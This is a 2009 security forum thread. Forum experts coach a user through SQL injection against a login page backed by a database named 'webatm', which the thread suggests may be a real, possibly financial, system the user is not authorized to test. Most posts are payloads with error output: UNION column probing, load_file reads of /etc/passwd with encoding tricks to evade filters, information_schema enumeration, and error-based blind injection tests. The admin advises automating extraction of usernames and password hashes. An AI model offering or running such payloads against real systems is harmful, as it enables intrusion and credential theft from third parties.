|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Error SQL BY pass WARAXE plz I need your answer |
|
Posted: Fri May 08, 2009 4:46 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
What can I do with this error
Code: | MySQL Error : 1064:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''''''' at line 1 |
|
|
Last edited by cr4ps on Mon May 25, 2009 12:01 pm; edited 3 times in total |
|
|
|
|
|
|
|
Posted: Fri May 08, 2009 9:05 pm |
|
|
tehhunter |
Valuable expert |
|
|
Joined: Nov 19, 2008 |
Posts: 261 |
|
|
|
|
|
|
|
Try appending some of these to the end of the string (to the parameter that you are messing with):
Code: | -1' (if this returns an error remove the ' for the rest of this)
-1 UNION SELECT 1--
-1 UNION SELECT 1,2--
-1 UNION SELECT 1,2,3--
...
-1 UNION SELECT 1,2,3,4,5,6,7,8,9
Follow the sequence above until no errors appear and the screen loads normally, and then look for the numbers on the page. Some of them should be visible. Lets say that 4 was visible on our page. Now try
-1 UNION SELECT 1,2,3,load_file('/etc/passwd/'),5,6,7,8,9--
-1 UNION SELECT 1,2,3,load_file(0x272f6574632f70617373776427),5,6,7,8,9--
-1 UNION SELECT 1,2,3,load_file(CONCAT(CHAR(39),CHAR(47),CHAR(101),CHAR(116),CHAR(99),CHAR(47),CHAR(112),CHAR(97),CHAR(115),CHAR(115),CHAR(119),CHAR(100),CHAR(39))),5,6,7,8,9--
If either of these two return something, you could be in luck (and post back here), otherwise, try these:
-1 UNION SELECT 1,2,3,@@version,5,6,7,8,9--
-1 UNION SELECT 1,2,3,database(),5,6,7,8,9--
If @@version return something >= 5.0.0, you can use MySQL's information_schema.tables table. So try this:
-1 UNION SELECT 1,2,3,concat(table_schema,char(58),table_name),4,5,6,7,8,9 FROM INFORMATION_SCHEMA.TABLES--
|
|
|
|
|
|
|
|
|
|
Posted: Fri May 08, 2009 10:09 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Thanks for you reply tehhunter ( PRO )
Code: | -1' UNION SELECT 1-- | MySQL Error : 1222:The used SELECT statements have a different number of columns
Code: | -1' UNION SELECT 1,2,3,@@version,5,6,7,8,9-- | MySQL Error : 1193:Unknown system variable ''
|
|
Last edited by cr4ps on Mon May 11, 2009 11:40 am; edited 1 time in total |
|
|
|
Posted: Sat May 09, 2009 9:09 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
If I type
Code: | -1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs/* |
MySQL Error : 1146:Table 'webatm.user' doesn't exist
If I type
Code: | -1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs -- |
You specified an incorrect username or password invalid.
If I type
Code: | -1' UNION SELECT '1 |
MySQL Error : 1222:The used SELECT statements have a different number of columns
What I should do |
|
Last edited by cr4ps on Sun May 10, 2009 12:34 am; edited 2 times in total |
|
|
|
|
|
|
|
Posted: Sat May 09, 2009 9:45 pm |
|
|
tehhunter |
Valuable expert |
|
|
Joined: Nov 19, 2008 |
Posts: 261 |
|
|
|
|
|
|
|
cr4ps wrote: | If I type
Code: | -1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs -- |
MySQL Error : 1146:Table 'webatm.user' doesn't exist
If I type
Code: | -1' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from utilisateurs -- |
You specified an incorrect username or password invalid.
If I type
Code: | -1' UNION SELECT '1 |
MySQL Error : 1222:The used SELECT statements have a different number of columns
What I should do | Both the first and second query are the exact same, no? So how can they have different errors?
As for the 'different number of columns' error, try this:
Code: | Continue adding numbers to the end of this until it gives you a different error than 'different number of columns' or the page loads normally:
-1' UNION SELECT 1--
-1' UNION SELECT 1,2--
-1' UNION SELECT 1,2,3--
...
and this can sometimes get up to big numbers like 20, sometimes even 50 (in rare cases). |
Post back here with the page that works as described at the top of this code segment.
Also, one last thing, I noticed this table is called 'webatm'. If you are trying to hack something financial, I'd really recommend you don't. You don't have enough experience to deal with all the complications and ramifications of hacking something like that. Most law enforcement agencies don't care about petty hacking, but information or financial hacking they notice, and they take action on. |
|
|
|
|
|
|
|
|
Posted: Sat May 09, 2009 10:47 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
thank you once again for your reply
bro I just want to learn nothing more
I am in algeria
There are no laws against hacking |
|
|
|
|
Posted: Sat May 09, 2009 11:14 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
and whene i try this ,
Code: | username: 'or user_id=2/*
password: [nothing] |
MySQL Error : 1054:Unknown column 'user_id' in 'where clause'
Code: | 9'/**/union/**/select/**/1,2,3,4,5,999999/**/from/**/admin/* |
MySQL Error : 1146:Table 'webatm.admin' doesn't exist
Code: | 9'/**/union/**/select/**/1,2,3,4,5,999999/**/from/**/utilisateurs/* |
MySQL Error : 1222:The used SELECT statements have a different number of columns |
|
|
|
|
|
|
|
|
Posted: Mon May 11, 2009 10:14 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Its a blind , I have try to use the attack injection , But it doesn't realy working for me , I need you waraxe or someone other can help me about this , It make me crazy . . .
Its right , But I have a problem . . .
Code: | USER : 1'/**/AND/**/ascii(substring((SELECT/**/concat(@@version)/**/limit/**/0,1),1,1))>53/*
PASS : n/a |
incorrect username or password invalid.
And also if I change the number "53" > 1,2,3 . . . .
If i change the column like that , I got an error . . .
Code: | USER : 1'/**/AND/**/ascii(substring((SELECT/**/concat(xxxxxxxx)/**/limit/**/0,1),1,1))>53/*
PASS : n/a |
MySQL Error : 1054:Unknown column 'xxxxxxxx' in 'field list'
so? plz . . . |
|
|
|
|
|
|
|
|
Posted: Mon May 11, 2009 10:46 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Try some tests:
Code: |
z' AND IF(1,'1','2')='1
|
Code: |
z' AND IF(1,(SELECT 1),'2')='1
|
Code: |
z' AND IF(1,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
Code: |
z' AND IF(1=1,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
Code: |
z' AND IF(1=2,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
|
|
|
|
|
|
|
|
|
Posted: Mon May 11, 2009 11:26 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
thank you WARAXE for your reply
incorrect username or password invalid.
Code: | z' AND IF(1,'1','2')='1 |
incorrect username or password invalid.
Code: | z' AND IF(1,(SELECT 1),'2')='1 |
incorrect username or password invalid.
Code: | z' AND IF(1,(SELECT 1 UNION ALL SELECT 1),'2')='1 |
MySQL Error : 1242:Subquery returns more than 1 row
Code: | z' AND IF(1=1,(SELECT 1 UNION ALL SELECT 1),'2')='1 |
MySQL Error : 1242:Subquery returns more than 1 row
Code: | z' AND IF(1=2,(SELECT 1 UNION ALL SELECT 1),'2')='1 |
incorrect username or password invalid.
|
|
|
|
|
|
|
|
|
Posted: Mon May 11, 2009 11:45 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Ok, seems that you can use error-based feedback.
Some more tests:
Code: |
z' AND (SELECT COUNT(*) FROM mysql.user)>1 AND '1'='1
|
Code: |
z' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES)>1 AND '1'='1
|
Code: |
z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
|
|
|
|
|
Posted: Mon May 11, 2009 11:57 am |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
Code: | z' AND (SELECT COUNT(*) FROM mysql.user)>1 AND '1'='1 |
MySQL Error : 1142:SELECT command denied to user 'Admin_Web'@'localhost' for table 'user'
Code: | z' AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES)>1 AND '1'='1 |
incorrect username or password invalid.
Code: | z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1 |
MySQL Error : 1242:Subquery returns more than 1 row |
|
|
|
|
|
|
|
|
Posted: Mon May 11, 2009 12:41 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
It seems, that you have mysql version 5.x with information_schema. And you can exploit this via error-based feedback.
But you can fetch data only bit-by-bit, asking boolean questions. So you definitely need some sort of script or program, which can automate the process.
Doing this manually is too time consuming and error prone.
First you can use information_schema.tables for finding out interesting tables and then information_schema.columns can get you column names.
Then look for credentials table and try to fetch usernames and password hashes (or plaintext passwords). |
|
|
|
|
Posted: Mon May 11, 2009 2:25 pm |
|
|
cr4ps |
Advanced user |
|
|
Joined: May 06, 2009 |
Posts: 91 |
|
|
|
|
|
|
|
what's error-based feedback |
|
|
|
|
Posted: Tue May 12, 2009 8:33 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
cr4ps wrote: | what's error-based feedback |
If you try this two tests:
Code: |
z' AND IF(LENGTH(@@version)>1,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
Code: |
z' AND IF(LENGTH(@@version)>100,(SELECT 1 UNION ALL SELECT 1),'2')='1
|
... then you should see different error messages. It means, that you can distinct between "true" and "false".
In this way you are able to ask questions and get answers, bit-by-bit.
http://www.owasp.org/index.php/Blind_SQL_Injection |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 2
Goto page 1, 2Next
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|